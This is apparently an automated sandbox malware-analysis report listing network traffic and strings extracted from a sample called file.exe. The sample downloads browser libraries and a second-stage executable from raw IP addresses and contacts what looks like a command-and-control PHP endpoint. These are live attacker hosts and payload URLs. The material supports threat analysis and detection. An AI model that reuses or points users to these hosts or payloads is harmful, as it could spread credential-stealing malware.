Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache

Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log0.15.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log0.15.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log0.15.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4831Host: login.live.com

Source: file.exe, 00000000.00000002.2688121262.00000000013D8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2688121262.00000000013F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2688121262.00000000013D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exek
Source: file.exe, 00000000.00000002.2688121262.000000000137E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2681153036.0000000000A27000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2688121262.00000000013D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2688121262.00000000013D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2688121262.00000000013D8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2688121262.00000000013C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2688121262.00000000013D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2688121262.00000000013D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2688121262.00000000013D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2688121262.00000000013D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dllO
Source: file.exe, 00000000.00000002.2688121262.00000000013D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2688121262.00000000013D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2707310858.0000000023AD2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2688121262.00000000013F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php#
Source: file.exe, 00000000.00000002.2688121262.00000000013F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php4f
Source: file.exe, 00000000.00000002.2688121262.00000000013F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php7
Source: file.exe, 00000000.00000002.2681153036.0000000000A27000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpHCAKFB.exeata;
Source: file.exe, 00000000.00000002.2688121262.00000000013D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpd
Source: file.exe, 00000000.00000002.2707310858.0000000023AD2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phptemDrive=C:System
Source: file.exe, 00000000.00000002.2688121262.00000000013F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpw&0
Source: file.exe, 00000000.00000002.2681153036.0000000000A27000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ngineer
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_336.7.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2711788288.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2704866803.000000001DAAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: DGDBKFBA.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_336.7.dr	String found in binary or memory: https://apis.google.com
Source: cfb3a9bf-ec47-42f8-948f-67466d51b645.tmp.16.dr	String found in binary or memory: https://assets.msn.com
Source: 3e32dacc-915b-4b72-a3aa-da476cea9660.tmp.15.dr	String found in binary or memory: https://bard.google.com/
Source: file.exe, 00000000.00000002.2707310858.0000000023AD2000.00000004.00000020.00020000.00000000.sdmp, AEBGIEGCFHCFHIDHIJEC.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000002.2707310858.0000000023AD2000.00000004.00000020.00020000.00000000.sdmp, AEBGIEGCFHCFHIDHIJEC.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: Reporting and NEL.16.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: DGDBKFBA.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.2688121262.00000000013F2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2456807657.0000000023A7D000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr, IDHIDBAE.0.dr, DGDBKFBA.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.2688121262.00000000013F2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2456807657.0000000023A7D000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr, IDHIDBAE.0.dr, DGDBKFBA.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.15.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.15.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: 39b6ee48-2e02-46d6-8151-a00a3db7fe1c.tmp.16.dr, cfb3a9bf-ec47-42f8-948f-67466d51b645.tmp.16.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.15.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 39b6ee48-2e02-46d6-8151-a00a3db7fe1c.tmp.16.dr, cfb3a9bf-ec47-42f8-948f-67466d51b645.tmp.16.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: file.exe, 00000000.00000002.2707310858.0000000023AD2000.00000004.00000020.00020000.00000000.sdmp, AEBGIEGCFHCFHIDHIJEC.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000002.2707310858.0000000023AD2000.00000004.00000020.00020000.00000000.sdmp, AEBGIEGCFHCFHIDHIJEC.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: Reporting and NEL.16.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: manifest.json0.15.dr	String found in binary or memory: https://docs.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.15.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000002.2688121262.00000000013F2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2456807657.0000000023A7D000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr, IDHIDBAE.0.dr, DGDBKFBA.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
